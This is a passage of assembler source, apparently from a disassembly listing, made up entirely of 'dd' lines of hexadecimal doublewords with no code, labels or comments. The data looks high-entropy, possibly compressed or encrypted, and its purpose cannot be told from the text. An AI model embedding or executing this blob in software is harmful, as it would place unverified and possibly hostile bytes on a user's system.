		dd 5064709Ch, 26008D46h, 6E130734h, 30ACA739h, 8F7A7E11h
		dd 6E4A071h, 0D08663DEh, 81EF6EDh, 0BB0A96C5h, 0BC70D442h
		dd 2020A490h, 9428D5E6h, 0F41ED865h, 9B14916Bh,	0D8F6E0A8h
		dd 20D054E5h, 85D102C6h, 288E3492h, 47601C61h, 0D71780F8h
		dd 0CF05CE2Fh, 3E1B92C0h, 8E824874h, 0A948938Ch, 984EE44Ch
		dd 82AE8062h, 538680B8h
		dd 0E13FF0Ch, 3CE8089h,	0D492BD9Ch, 0C6A5B054h,	69FAD8A9h
		dd 7493BE01h, 4E134A26h, 140AF84Eh, 40308E1Ch, 1374AA66h
		dd 275CEE12h, 6875640Ch, 305492AEh, 0F4F0614Eh,	5C904947h
		dd 2B399C87h, 4686BC7Fh, 3AB842FFh, 2E01705Bh, 4E142BF5h
		dd 0B47C20D9h, 5C0AE0A7h, 2660501Ah, 1213127Dh,	0A18A4AEh
		dd 589C3DB8h, 0E8549B86h, 1748E1DCh, 0ED83001Ch, 72C9F3B0h
		dd 5C735685h, 0AF547062h, 0E6390213h, 0D451A001h, 2C3818B0h
		dd 59846B0Ch, 120110C9h, 21E6B75Dh, 30696C84h, 0A1F76D50h
		dd 1843F078h, 1F169846h, 56D8C97Ah, 28939885h, 0C11613D4h
		dd 7918E12Bh, 0C7A109C8h, 14B0A990h, 118CA73h, 0EF05E854h
		dd 0C080BB3Ch, 33B06DABh, 18A56F08h, 0BCF41801h, 0C6006844h
		dd 0B05767AEh, 0D7DE1F44h, 0B01ECD0Ch, 57077DA6h, 51016CCFh
		dd 4806334Ah, 0A582079h, 0C03C28D1h, 0FFF38117h, 0B7668069h
		dd 13CFB101h, 0D3CBDCDFh, 3A7EB84Ah, 81E195EDh,	41294746h
		dd 0F82A2698h, 5C7727D3h, 0FEC11B19h, 604C3AF0h, 0E2FF15EEh
		dd 2600A4CAh, 53D08055h, 0D3E88410h, 0B00E37EEh, 9F690D13h
		dd 71502C24h, 3A5816E3h, 410C459Ch, 799438E8h, 0C405B108h
		dd 0FE6002Ah, 0FFD3B021h, 0E058C058h, 616D8D7Fh, 97C699C2h
		dd 6698413Eh, 14E09050h, 85C0A042h, 3E8032AFh, 0AABF383h
		dd 6C8E5338h, 6D2E5018h, 6A408370h, 287E6286h, 403842B3h
		dd 0F41F0A22h, 21CC3D0Fh, 0B0A640C4h, 74912F01h, 4875740Ch
		dd 3C5252B2h, 0D26A6B87h, 0A8407820h, 49298126h, 0A63F0CFh
		dd 3144E7F1h, 4DF8F4D1h, 0BB02504Ah, 243FF9D8h,	90C1E86Ah
		dd 8285CB0h, 30777408h,	73C60926h, 7D969822h, 10F1F486h
		dd 99BB331h, 202058E2h,	0AE377D75h, 8C77023Ch, 0FF7FCC5Fh
		dd 48FAB886h, 0B421F319h, 409FF080h, 1805189Bh,	449134DCh
		dd 15421FCFh, 823E4769h, 67859BC4h, 4EB50110h, 34D15C0Bh
		dd 2367BFCCh, 8CDAC468h, 30C78970h, 46315F7Dh, 74B88D1Eh
		dd 7804AA26h, 31ED3870h, 26D1FFAFh, 0D4308414h,	8038703Dh
		dd 84B50D17h, 0B906A842h, 0CE48E3Dh, 48AD6892h,	6E09C6Dh
		dd 812A6BEBh, 131D8B4h,	0F96068E1h, 0EAD0F4D1h,	6C9301CBh
		dd 0DE345C4Eh, 0A2D441ADh, 79208B87h, 0C0F00788h, 55C9C4Bh
		dd 52387742h, 6CA8D054h, 732CCBE5h, 0FF96386Dh,	0B56E5C02h
		dd 5064E1D0h, 25CEE0E7h, 0EFBCB0F7h, 783B2474h,	5BFB24BFh
		dd 0E4B30C0Dh, 0E8B1E609h, 0C180C318h, 30209047h, 72A8294Bh
		dd 1B1895C9h, 0E51010C4h, 0ED4A04Dh, 0DB911FB7h, 3A92DDDDh
		dd 2E09C0EFh, 3713E802h, 0EFDC6498h, 0C15D9672h, 0A90F140Ch
		dd 0D0523394h, 2FDB8813h, 0EC031EEh, 2060FCC0h,	0DCA0801Ch
		dd 82EB91B4h, 9281CD08h, 1A8E57Bh, 0E1490D6Eh, 482474B7h
		dd 5451E004h, 0E4C0419Dh, 165C3DDCh, 5E9F874h, 8205F2B0h
		dd 0D4C04FF8h, 7480816Eh, 6C444888h, 91BA8607h,	0F03F467Bh
		dd 0CF4B9C12h, 3989782Ch, 9FA5B7DCh, 0A8522800h, 0DD313451h
		dd 2C4CB0AAh, 92ABD041h, 0F2C9C040h, 60E8B995h,	92602089h
		dd 0BE087091h, 0A5ED0C9Ch, 0A0B08250h, 0E3B5D312h, 98A41C07h
		dd 895A14C1h, 109ED841h, 5036A830h, 6226C061h, 77D73016h
		dd 6ABA480h, 4848F45Ch,	0B22E0918h, 0E7200609h,	0D3740748h
		dd 0E7145CFEh, 46D44153h, 65088B34h, 85848019h,	2C6E2FE3h
		dd 130C42CAh, 0AF0412EAh, 146C1514h, 2EE8A745h,	5405ACC7h
		dd 7CC1320Eh, 0E1E32196h, 84413035h, 34E02482h,	0B4285CF8h
		dd 90324618h, 0BA810D6Dh, 6A1420BEh, 9019D010h,	83B80812h
		dd 63E09418h, 6429A192h, 2D3DD841h, 0C4727420h,	34DD408h
		dd 18767B54h, 0A8521E58h, 60C666FEh, 3C08438Bh,	0EE1E677Ah
		dd 0A028B095h, 8E1D2FD1h, 4E04D829h, 4881E217h,	0C09A2B15h
		dd 0C8C180B5h, 66688CF6h, 0A0DD3020h, 949F4EF0h, 0B1621F24h
		dd 0B8E69938h, 8C486F20h, 3A4E7069h, 0EA78615Eh, 3978C60Ah
		dd 936170D5h, 356E0E48h, 5F4DB841h, 5929841h, 0D85C1094h
		dd 68A0487Ch, 4EA42C7Dh, 0FC9D1448h, 0C22EA74h,	7BE7CE2Fh
		dd 9CA39728h, 0D858C5A2h, 14B23824h, 0E0F9110Ah, 401FF413h
		dd 27F7209h, 41575994h,	60204D74h, 0FAB82414h, 0AC0E0C84h
		dd 10C37E20h, 18BDA9F3h, 20F77540h, 78C6DD2Dh, 6E8D6F5h
		dd 3B928CEAh, 543A609Eh, 4C33C034h, 76133846h, 3C340E8Ah
		dd 906CC272h, 1901E847h, 0C1819818h, 20F42601h,	0E22C5368h
		dd 8B09101Ah, 2A7002FFh, 9EA48344h, 0CCF014FEh,	0EE289CFDh
		dd 720E12A4h, 7E640938h, 1EC8008Ah, 16940971h, 11EE4801h
		dd 0DD38301Ah, 73456C90h, 5C410021h, 2C246754h,	0E0405095h
		dd 6C794883h, 62AB912h,	786D5E64h, 38B00831h, 9420A9E5h
		dd 88766279h, 5C401F14h, 0FCA1360Fh, 0EE342058h, 10335531h
		dd 58922E6Ch, 301C49E8h, 50B48C01h, 3A688CFAh, 64130882h
		dd 87CBD032h, 49A24634h, 406EBD31h, 188CA3ECh, 4B90073Bh
		dd 7F600F63h, 0A1882805h, 0C4B0E888h, 82485141h, 0A50FDA24h
		dd 8806783Ah, 625043F7h, 310E4836h, 0F5D130C8h,	59245C98h
		dd 36131C84h, 94C744Bh,	0A99484F0h, 91577700h, 7498829Bh
		dd 0A501496h, 5CA5E85Ah, 60CD4F8h, 6E80530Bh, 0B7E984A3h
		dd 8118733Eh, 31C1A929h, 0FCE63984h, 0D484C39Fh, 5AFB700Ch
		dd 0EF02881Ah, 9E80A463h, 0F5CA85E8h, 9CEDBB41h, 0EBB05828h
		dd 0E762FFB3h, 6823A629h, 0C4503AB8h, 82A01EA8h, 4440E590h
		dd 1C905433h, 849C5325h, 4481ADDCh, 0B841250Eh,	0E824EBEEh
		dd 13B098DAh, 440A054h,	0C2FD1998h, 0EC8347B8h,	3848A46Eh
		dd 807C280Bh, 1044BD48h, 0D410C2B3h, 8754103Fh,	4E60E13h
		dd 439934B4h, 0E12FBF77h, 388C5221h, 1618F77Dh,	2414C248h
		dd 140944B6h, 0C808242Eh, 0B744087h, 0D0CE50C1h, 5D346889h
		dd 61FDD0A6h, 7C106F5Ch, 0C8597B32h, 4AB44882h,	317490D7h
		dd 1F40E5B5h, 4F188C1Ah, 0B7E0A019h, 21A23BE3h,	683BB0C1h
		dd 90CD248Ch, 0CE18F298h, 880D6228h, 988F6463h,	0AAA82AECh
		dd 0F994F0C2h, 0AEC44126h, 6FCE6820h, 8089F05Ch, 9A8CC40Fh
		dd 0C36F4E18h, 50BA0C38h, 33152A6Eh, 913564ACh,	0E894C147h
		dd 2008704Dh, 0EE2E6200h, 0DB95F68Eh, 0A60964Ah, 0CF0C324h
		dd 0DD088616h, 6DA8B550h, 5A085762h, 0FF80408Eh, 93D4A07Eh
		dd 0F3CFF9F0h, 2718132Ah, 0EE240B61h, 8037B0A5h, 0B84454E0h
		dd 0C1305090h, 0D181204Bh, 16FB3C95h, 0F1310CDCh, 302A1E11h
		dd 7C5C5624h, 70CA18CCh, 78B12448h, 0B6713291h,	9B01F908h
		dd 40988C02h, 0AE93D876h, 1DB0EE2Ch, 961890B3h,	0E5B32410h
		dd 81A01354h, 2C76B20Ch, 978CB02Ch, 43A4BD5h, 9C3486D8h
		dd 5C3DBF90h, 10F82059h, 309CC166h, 835408E2h, 58309644h
		dd 5F3D805Ch, 0AC094B12h, 0D4AC0316h, 0DB91B0CCh, 0C01F504Bh
		dd 56BCB896h, 252820FBh, 0B44C5DA4h, 0E8402614h, 9CD8D32Eh
		dd 318C2A13h, 1750B3A9h, 4451F2FCh, 56603F40h, 485D62B2h
		dd 80782E06h, 0CBE57005h, 8C13653h, 7C31194Eh, 43A00C68h
		dd 0C0E23FBEh, 3C0BF894h, 82EC659Fh, 0F07FCBA0h, 0C5E159E0h
		dd 1490FD50h, 0E8F95532h, 544CC009h, 312CBAEEh,	0F8082588h
		dd 0BA9C20CFh, 9280026Fh, 7E4EEC06h, 0D8EE2610h, 107D98ECh
		dd 0E183CE2Eh, 8921A40h, 51044519h, 6BFCD2B2h, 84668040h
		dd 0F1DB920Dh, 306C18F4h
		dd 0E7215401h, 38067B95h, 0B6231020h, 447FB12h,	81E9DC44h
		dd 3C1B281Ch, 3E0CB008h, 0B50325BFh, 2CE1EC03h,	87B7882Dh
		dd 83892A7Ch, 2E743800h, 8920FEB0h, 20C5820Ch, 15403780h
		dd 8345A0AFh, 50120BABh, 58384496h, 1B6E6A6h, 0E1E4373Fh
		dd 0A1EA0265h, 8147C830h, 68AA67B2h, 988246ECh,	5C809040h
		dd 0D2184489h, 769F984Bh, 9BC16091h, 58E26820h,	0E5261BF4h
		dd 829D9083h, 34451488h, 0C3E1823Fh, 517E41Eh, 8ED40118h
		dd 6291B79Fh, 0F69EC18Ch, 31850C12h, 9767F0E6h,	7065BBD8h
		dd 68356987h, 0C2B861E2h, 0EE08A368h, 94C18C0Ch, 0B043840Ah
		dd 0D3D80020h, 9B95EFB1h, 80CF826Fh, 142F3D2Ch,	31BC020Ch
		dd 1BAFA7E1h, 40C2E883h, 7EAB82Fh, 3CB8600h, 2EFF4884h
		dd 3A28D8A0h, 83286837h, 301701F8h, 9C1C868Bh, 0C807DED6h
		dd 3B826A35h, 34B461C6h, 9C0181D1h, 31B8415Fh, 6B207080h
		dd 0D810456Fh, 48739308h, 0D018548Ah, 85DB207Ch, 0A431A090h
		dd 0AFFB108Eh, 7F33F028h, 0F0A6EA50h, 18F46F33h, 33081272h
		dd 733C0368h, 87CF010h,	0DC60C262h, 9E884158h, 627388BAh
		dd 0ECC540F7h, 91BE28E9h, 4A31D818h, 9CD73330h,	38379480h
		dd 10811C85h, 0E1116313h, 95D60150h, 0EB538041h, 69AE3CD7h
		dd 81E89B12h, 93859994h, 0E44B4BA8h, 2EC80218h,	6E88E059h
		dd 3BE0900Eh, 0EE78CCAEh, 0CE08C3D8h, 40319015h, 0D7B4F8F6h
		dd 2F49040h, 5EB0A0C1h,	5908D8D9h, 9A8E9Bh, 3B088CF9h
		dd 581A819Ah, 2618807Fh, 256BC061h, 80603581h, 0A2BB3154h
		dd 9A81C258h, 6208B648h, 0D47C4038h, 5408C2EBh,	0AC85BAEFh
		dd 74D8038Ch, 5819FC27h, 86186BFBh, 0CA5BF885h,	186C818Fh
		dd 0AF089289h, 473B4C03h, 0D1101285h, 2008B10h,	0B293C9C2h
		dd 869040D3h, 394D5A7Fh, 311820B4h, 960A548h, 0C54D2D66h
		dd 681ACDCh, 50EEEA24h,	3C5A467Eh, 419F02Ch, 1B36E8F4h
		dd 40171C7Ah, 59A32005h, 0DCC0ECF2h, 0B025E5E4h, 0EFC80D4h
		dd 0ACAE2FD1h, 0BAC304Ah, 115B9539h, 0BD32C83h,	4ECC0918h
		dd 90AF52D0h, 825BB0h, 0CB230474h, 6550FF93h, 0B46755A4h
		dd 6A8F6008h, 7250943Bh, 78C118C7h, 66E680A8h, 7E203C48h
		dd 742E90B8h, 0D8BFCBEh, 0E2C02D6h, 28B882F9h, 50104A86h
		dd 5AD105CCh, 3C813B91h, 461154B4h, 0C609638Ch,	1082DBB1h
		dd 0F0E1D80Dh, 22202811h, 77812459h, 36613B8h, 1663B3FCh
		dd 45410810h, 5318A331h, 8E02FEDDh, 6018F975h, 79CB4DD1h
		dd 50163D26h, 2FD42B02h, 2DC940Eh, 0F14D4438h, 1840BC12h
		dd 9C90FCDFh, 92F72D00h, 91422674h, 0FB32325Bh,	7441E478h
		dd 20C3E914h, 8348FE8Ch, 4486157Ch, 0D09317B8h,	0C74282Ch
		dd 3EC994BFh, 0F22C6690h, 0C370403Dh, 37623A8Eh, 0BF5C3F20h
		dd 0F9AE0934h, 5F000781h, 2609C4AAh, 78B40293h,	0CF5E0595h
		dd 0A2340F88h, 17EE4404h, 0B40E190Bh, 0D063DCE6h, 36E83454h
		dd 0E20558A6h, 11DD9E25h, 0A9068C02h, 0A84C413Eh, 484EE430h
		dd 5B04F0EFh, 0B29189B8h, 0B99F80A4h, 0CA04F2C2h, 50BCE640h
		dd 616E28Fh, 4C468AAFh,	29508CE6h, 4048BF38h, 0C6F7E17Dh
		dd 0CA631C4h, 0A9DB94C1h, 702CC445h, 0B6770B30h, 0F440CC6Bh
		dd 950AFA40h, 0A0F3DA1Bh, 9C5B0B0Bh, 59740614h,	688B03E1h
		dd 30E26630h, 98F8D573h, 0FC242D40h, 2604CC16h,	0CCA10608h
		dd 0D30B1855h, 149C7864h, 86D87B04h, 0B945D065h, 0B3800CDDh
		dd 294C9338h, 206978B8h, 6C09670h, 0D9CA6358h, 61240B9h
		dd 38B854h, 59E1285h, 0E6284F4Eh, 90D0F18Ch, 0DB14B890h
		dd 0A750EE9Ah, 3FC72AB4h, 0E1C6386Ch, 282ABC61h, 110B3DD0h
		dd 0A2204D62h, 51F341ECh, 1F176000h, 89C459E6h,	2C12E486h
		dd 0B3058EE0h, 3E48E3FEh, 8F38C009h, 0ED85A514h, 94E8F81Fh
		dd 0A24C9B14h, 0B9C9A348h, 69899C59h, 0FC229346h, 2C47DDCCh
		dd 0BFDC5301h, 260060F9h, 0C0B0241Ch, 526CBC4Ch, 176C32Ch
		dd 8C42DD27h, 82239406h, 9C415FA0h, 0F89502A4h,	17F0C7B9h
		dd 79828447h, 0A63318CAh, 2450A1B4h, 500C253h, 0B29459Bh
		dd 0C8819D94h, 656C307Bh, 810F704h, 7719E9A7h, 3CC1E081h
		dd 0F8A210ACh, 2B54521Eh, 99A9C7Ch, 0CA05AA3h, 95CA0BA6h
		dd 30947B26h, 10A09192h, 8480503Fh, 18AD6277h, 0C485E57Ah
		dd 0B750E0D2h, 553B70C3h, 9800B9Dh, 80E5CF7Bh, 9B4F2C01h
		dd 0CC64EC28h, 506D6211h, 9C9C465Dh, 7788004h, 6602E4D8h
		dd 8C82B1B2h, 0C047C9FDh, 9A35B600h, 8117F27Dh,	14B8AD66h
		dd 37A41E18h, 7CB391BFh, 17289648h, 0DCCB160Dh,	0CAEED802h
		dd 1040D7B1h, 1C524306h, 50968040h, 5049589Fh, 4E7CF401h
		dd 0E02C2D4Ah, 264ABF09h, 39C68CC0h, 5970964Bh,	8856DC83h
		dd 0A6900395h, 5028CD97h, 7E4B0C4Fh, 86503142h,	0A883D929h
		dd 4E4A74C0h, 7A262044h, 2CEF4B26h, 30325C70h, 46A1D7D6h
		dd 915741FFh, 92970278h, 0AD2FC7FCh, 0B80E28A4h, 103EA102h
		dd 60126F8h, 0BC33454Bh, 7349EA81h, 0E6799CB6h,	0B40F9656h
		dd 70005701h, 53D0A452h, 935C091Fh, 3458C2BBh, 786DA329h
		dd 26C0DA40h, 144C9A70h, 0A0B19FC6h, 0E7C2DBE0h, 68F86145h
		dd 580CB68Dh, 4630F57Ch, 6C86519Bh, 5848BC9Ah, 0A115C3CFh
		dd 14B423FDh, 0A0786BF3h, 2E362D55h, 3A8CB246h,	243C1726h
		dd 5BB15838h, 0A073D42Eh, 7D6E2684h, 0F066F4C2h, 0C8F148C0h
		dd 8712277Eh, 7B830065h, 4BD1BA1Ch, 8200D4B9h, 70560C37h
		dd 70A805Bh, 0E6CB4037h, 0DB88DC50h, 7C9462F0h,	12F92358h
		dd 1DD7C638h, 510A0BBCh, 0A404441Ch, 1DE41E21h,	9709891Fh
		dd 98B07450h, 833A3323h, 0DE184F28h, 0C386311Fh, 0A8706466h
		dd 0E52C3175h, 57C6629h, 4BA6C2Ch, 0DFFC4442h, 0B12E0417h
		dd 0B206588Eh, 51AE44FBh, 74B62626h, 4826823h, 0C8D81C3Ch
		dd 90130654h, 811CA5A8h, 0FED773B5h, 0E6289CFCh, 1C0C8BD2h
		dd 249B0863h, 70248886h, 0E8F4EC63h, 0E8C2CA4Ah, 0FBB0605Bh
		dd 0B854630Fh, 70C58C1Fh, 0B92C8974h, 38558530h, 9D82AEA6h
		dd 0B8975016h, 0C64836DCh, 844EB28h, 5C87260Ch,	19210F4h
		dd 0C6D12990h, 7193BDEFh, 7E1404B8h, 735BC004h,	2FDF74h
		dd 4C04C583h, 0E5EE2AC4h, 0A21D3703h, 1790DDh, 0DB2CD330h
		dd 0B07BD64Ah, 1A7C5E74h, 1F995948h, 342B4B38h,	473E1041h
		dd 26814C4Ah, 0C4D696F0h, 152E23E4h, 3B00B611h,	0EEDA8146h
		dd 48053E02h, 0B1216B06h, 1A21183Ah, 0AEB50AEFh, 0DFE61018h
		dd 0F437C044h, 20EA8E04h, 0C13C266Eh, 0FFB08219h, 97200004h
		dd 0CAF68839h, 0DD5E2184h, 41DC2A08h, 1238F6E8h, 6E75189Eh
		dd 0A8FA3B44h, 8490F124h, 0DA2A5243h, 0CB862B0Ch, 4943C224h
		dd 428A0C85h, 36037C18h, 10567E22h, 90A45DE1h, 8824B254h
		dd 21371E22h, 610AFDEEh, 6215306Ah, 0AB861424h,	79F09EC0h
		dd 0FE54CF36h, 0B761C1A3h, 8812C9A1h, 41BD7C18h, 0F1C6ECFBh
		dd 0A0CF0FCh, 0A091CE7Ah, 4463F900h, 0F0925Ah, 0FBF785BFh
		dd 76DFB338h, 0E93E3700h, 459A7883h, 0C0800E79h, 258261BFh
		dd 12F5EB4h, 91E6D130h,	944DA440h, 93ECA89Fh, 0FD643081h
		dd 619A8FD0h, 2620C200h, 0F5D689A9h, 42B106E1h,	0A0ED84B0h
		dd 0E637D301h, 41DD074Eh, 30AC6020h, 24897BAFh,	0F0075410h
		dd 0BDB0BFF3h, 0E2940333h, 0B1040711h, 4A3DC347h, 0BCAD801Ch
		dd 24A25A65h, 47442933h
		dd 0BB2D81D8h, 0C2EFCF45h, 9440951Fh, 2003C77Fh, 0AFBF997Ah
		dd 0C6590577h, 0F0D5970Eh, 0BE1FB514h, 6B80CA80h, 0B139984Eh
		dd 0C8A75010h, 5D971FD9h, 40958429h, 0E0C0AB47h, 28FF300Bh
		dd 1F14B03Dh, 337DC03h,	433BCF80h, 0AD41691Fh, 0E64A89C0h
		dd 6EEFB7h, 80072375h, 4BEB2E14h, 617AF3F6h, 56BDCB2Fh
		dd 81D71E8Eh, 5AE2F079h, 0B555FCF9h, 0EAAA1E06h, 4AB80C09h
		dd 64508029h, 9060A3A1h, 8C488998h, 566D00C1h, 22D60763h
		dd 924CCE36h, 76FE00ACh, 28D5D35Eh, 6DB124C5h, 52063E87h
		dd 0D05F553Dh, 10DF51Ch, 40BF210Ah, 0CDDCE351h,	4D1000A6h
		dd 12A7A48Fh, 28005188h, 0FE543286h, 72AA0A95h,	0FD1E15A5h
		dd 0DA1EC05Dh, 86E507A7h, 0AEB781D5h, 0F86030A9h, 0DED9B112h
		dd 0F7344401h, 3ED09057h, 4D9B1858h, 0AA6EB839h, 0D2F8AF5Bh
		dd 453DD613h, 0C620B3B0h, 757C2060h, 882C4128h,	85521B00h
		dd 8692F19Eh, 0AC555131h, 5BAF308Ah, 9ACDE084h,	7B3007FCh
		dd 0C02D91CAh, 0B61301BAh, 26CE4BFEh, 3B42035h,	0E196D71h
		dd 40515FC7h, 48047C23h, 803A7C65h, 7374D494h, 5953F81Eh
		dd 9843FF46h, 50140AC8h, 808894A7h, 9AFE4F3Fh, 5DECE9D6h
		dd 1FB4AD14h, 198A8084h, 0E3C5Ah, 308F9DFh, 0A3E24086h
		dd 0A63DBC01h, 455176C5h, 1FA45420h, 0ACB0BDh, 0D9F8B437h
		dd 80A0838Eh, 0C50B1F1Eh, 20C4E23Eh, 0CF388918h, 434C00DDh
		dd 8FB974B1h, 0DB5817B3h, 0C74F1138h, 78A77F0Fh, 0C5039987h
		dd 201889E0h, 0E9DF7508h, 0D9E7D000h, 26FB6B4h,	0B71BE990h
		dd 94C8AFDAh, 0AC90A467h, 84062DF6h, 5E269531h,	399F00E8h
		dd 0FB373E11h, 1871DBF8h, 0EB0830AEh, 0E0B12D19h, 0CF4B2103h
		dd 1AD35013h, 74A76041h, 4820578Dh, 106C00B0h, 0F1E9F544h
		dd 0C9002BC6h, 5478AA07h, 90D6721Bh, 0F914A0D1h, 40E10009h
		dd 0AB5A38A1h, 0AA264A43h, 0F6010BEh, 3AA2D2h, 7997DCCCh
		dd 95F8C934h, 0E040032Ch, 355EFA83h, 0A851018Ah, 0BC14866Bh
		dd 111FE8EBh, 0A451A0A0h, 10314Dh, 89A06A93h, 0D9CC0Fh
		dd 1197DD1Dh, 0F7577BEAh, 0BE5D140Fh, 5104A0F5h, 9311EE4h
		dd 0D3AA5FE7h, 8C141C29h, 0AE01F81Eh, 0C5B1A380h, 35C24BB4h
		dd 60903052h, 7C374E50h, 0CBE4A704h, 58C8ADA9h,	82F05BDh
		dd 0D663C213h, 180E2AD8h, 0CF926003h, 12C5A5B8h, 368ACCD0h
		dd 139300FCh, 1C7E9F15h, 8D052ACFh, 33D2E610h, 424898h
		dd 7CBFC240h, 0BB46B2CEh, 38E8C918h, 6216F748h,	430B314Eh
		dd 0E54074E8h, 0D3B18960h, 61DBE185h, 0FFE6E833h, 0BC6CBCB2h
		dd 401A093Dh, 0DD40A011h, 185AEF83h, 0F859A9EEh, 12247BEBh
		dd 95820889h, 0E8E4F4E3h, 2D04E6Ch, 0C531FA45h,	18877BB8h
		dd 25874BAh, 4808CFB0h,	156B0E20h, 80FE81CCh, 7521A70Ch
		dd 4103E659h, 0BB5B95A8h, 5666AA4Dh, 0E1803BFCh, 9473C0E5h
		dd 0B60D7E9Ah, 40932B2Ch, 4FBAFFD4h, 106C1AEFh,	0E116C90Fh
		dd 3D0812CCh, 0DC478133h, 0F8F4D020h, 0B2AF0039h, 458235Ch
		dd 1D485F8Ah, 8BF30088h, 83E8988Eh, 797E074Ah, 7068F00Fh
		dd 41F45AE1h, 347D001h,	5BEDE701h, 30A2CCDFh, 2A37B480h
		dd 0F7445AEDh, 38DF7CBDh, 51C0233h, 0F22A4A48h,	0B59C01E4h
		dd 81BBD63Ah, 0FDE38481h, 0A8602B45h, 77CC09C1h, 7C204E4Ch
		dd 95897102h, 8D2F4F26h, 43131100h, 12F5C54Bh, 705D701Eh
		dd 0F7A22220h, 26F4F8B0h, 0E6FCE750h, 2C2A5C79h, 0AB01C879h
		dd 6A8B514Bh, 0C8DB42CEh, 0A059131Ch, 242BF6D0h, 0A6D43B29h
		dd 65800062h, 0D8CD9DDh, 0A81DA092h, 2C405E87h,	96367B5Ch
		dd 119460B7h, 6A9192F7h, 30FDF898h, 8828A137h, 0AD31301Dh
		dd 4976F920h, 51994840h, 9C873B21h, 1F2D8F82h, 5200574Dh
		dd 0CE5AD08h, 56331CB2h, 940A9180h, 0C04CFC2Bh,	0D089A480h
		dd 7871FF9h, 8FAC8D0Bh,	9060451Ch, 0D36184E0h, 0B99FBD00h
		dd 0A75BE67Ch, 3809053Ah, 95545A63h, 4C04024Ch,	0FC83D1A2h
		dd 927C149h, 0AB3CE0A8h, 91AA1F73h, 65238042h, 0F3ED815Bh
		dd 0CF632800h, 0FB094C05h, 447800B2h, 22CEB69Dh, 0FC06292Ah
		dd 0E5FEF226h, 0E3EB00F9h, 423E2D75h, 5B7753A2h, 0E8E7CA04h
		dd 54C0C2E6h, 3A71687h,	0CB979DBBh, 30E71F5Eh, 0FFB9A450h
		dd 343680h, 68F349B6h, 9D59C4FAh, 64B4232Ch, 973BA300h
		dd 2E5826h, 309CF2Bh, 7C40826Eh, 29F2FE00h, 0F679BCFFh
		dd 7F101544h, 2F0604F3h, 213B7863h, 9ED0C8Dh, 5C02300Fh
		dd 0C8A9D167h, 0C0D0C760h, 94A62200h, 0F7C44F1Fh, 2E0CA0CDh
		dd 0A7EC84A4h, 9A8025E0h, 0B62884A0h, 0F20818C9h, 101EF3A9h
		dd 0B1BEC465h, 3CA1EA22h, 109D25D6h, 0C40196E6h, 22A78231h
		dd 0FA0CA56Fh, 0CA785444h, 8A92621h, 0CC75091h,	0FA08EDD2h
		dd 1E2AE742h, 9F732130h, 8B000A11h, 5856AB9h, 0FB1E1DF5h
		dd 0A782186Bh, 0A0456019h, 293D6EA8h, 1D2A0181h, 98082D51h
		dd 94C4517Ah, 1AE3CC8Eh, 9DBCEA02h, 204C57F3h, 0D03626C1h
		dd 0C84AFD2Ah, 46678F00h, 1442CA90h, 22F90099h,	0DAE20D5Fh
		dd 2000F0BEh, 2F2A1A31h, 0E120E4Ah, 11678D98h, 46094580h
		dd 0C9001E10h, 25705A1h, 5D578A9h, 0BB18FEE7h, 2D4C2032h
		dd 0D9C04A09h, 87D01723h, 809C0551h, 52FB267h, 0C1C56684h
		dd 0DD778A2Dh, 511ED4BEh, 88500500h, 76EBB6A4h,	9D10085h
		dd 6993164Eh, 57023D97h, 6273723h, 0E21CB888h, 87F64355h
		dd 84C07065h, 0F013C78h, 77AE6CCAh, 0B4E66D60h,	0DC5709DAh
		dd 1CC184C0h, 9881401Ch, 373C7697h, 606D363Dh, 0DBBCC229h
		dd 4B442E5Ch, 0CC7800F0h, 0EE72F263h, 0F4212A07h, 0C0873BD9h
		dd 0A3BDF672h, 0D072695Ch, 0AA9F59h, 3E0EC40h, 0A71CFC39h
		dd 192B5E03h, 80FD7B6Bh, 0A379C427h, 23BFA0ACh,	0C87F4C9Fh
		dd 4EDB580Ch, 65015988h, 0A301B95h, 40708501h, 3CFE3F3Bh
		dd 1479CF14h, 0BE066500h, 7BD33F4Ch, 97B68000h,	0EAEFAAB0h
		dd 58365251h, 3F41C4E4h, 0C74C4358h, 52B0DD9Fh,	8D96E8h
		dd 8FDF411Ch, 99478C8Ah, 0C4003090h, 0CA4862F3h, 0F5181Eh
		dd 861B144h, 5A88104Fh,	16E1CF05h, 0CC403C74h, 9F824AC4h
		dd 0DB8C00B4h, 0CE95FBBh, 5C907A66h, 0BD9A101Fh, 0EA647464h
		dd 533A3Bh, 0AD722415h,	1C6C369Dh, 0CC9330E5h, 7380B880h
		dd 530D0B72h, 90319C58h, 1D05E643h, 9D1D27B8h, 0D997CCF2h
		dd 76249231h, 6C01924Ah, 5640969Bh, 2CF0AC4Ah, 0F800A293h
		dd 4AB90B7h, 2468E6BFh,	0E3943AD3h, 0D9CF7618h,	0D784D430h
		dd 0A8445A52h, 0CCB7544Bh, 0A4BE075Fh, 740E5573h, 4CBACh
		dd 0B36FE580h, 0B5C6B2h, 7D66DB3Fh, 0B9F8444h, 8764E912h
		dd 0C912E83Ah, 88DC3C86h, 712FD400h, 7D628692h,	0A693043Bh
		dd 0CA9723AAh, 35A80F58h, 8788A204h, 65A08002h,	854C54h
		dd 941533C0h, 47FD601Eh, 3DB8E30Eh, 4086A189h, 0F0C4BC7Fh
		dd 8D4A02CDh, 33B69B4Dh, 0AC5CA8C4h, 82900093h,	0F3991614h
		dd 0E4A014B9h, 0CA21D0DAh, 0DCDD2F80h, 43A550h,	0AF37D73Ch
		dd 59E1FB4Fh, 74A02C00h, 5C7BB4B0h, 0F3BC0052h,	0E8051206h
		dd 0FD0E4B2Dh, 5830AC5Bh, 0E4A27B30h, 613F24A3h, 42B8004Ah
		dd 0F68834A1h, 6F995E00h, 84F9FA87h, 40680091h,	48022F93h
		dd 32032975h, 0D1DABA17h, 0FF76B098h, 7EA7007Dh, 0A8C491FCh
		dd 0C00FDE3h, 0D1C684Dh, 8606EBh, 9C3F99C8h, 271EB5D6h
		dd 0B2002AF2h, 0F37C24A2h
		dd 3C94EA5h, 2328025Dh,	0CCC14C5Ah, 0D4E0DF01h,	0A500D61Bh
		dd 0A71D7A50h, 79CD28Ch, 0B2E469C1h, 3C5AF0B5h,	9700C3B6h
		dd 0DEEE52C2h, 1F6194h,	2412038Ah, 69BF6E7Bh, 0B64F1A0Ch
		dd 3C7074h, 2DF09647h, 809BD22Ch, 18119C00h, 6AFA406Eh
		dd 22270597h, 2CA8B8D6h, 0F12EED80h, 0BE146E2Ah, 60A9AC44h
		dd 205B7960h, 980A9250h, 0C47627FFh, 90D76CC2h,	76448990h
		dd 1CE2002Bh, 5F613DBAh, 0B4F03446h, 9711EC60h,	205BE1BCh
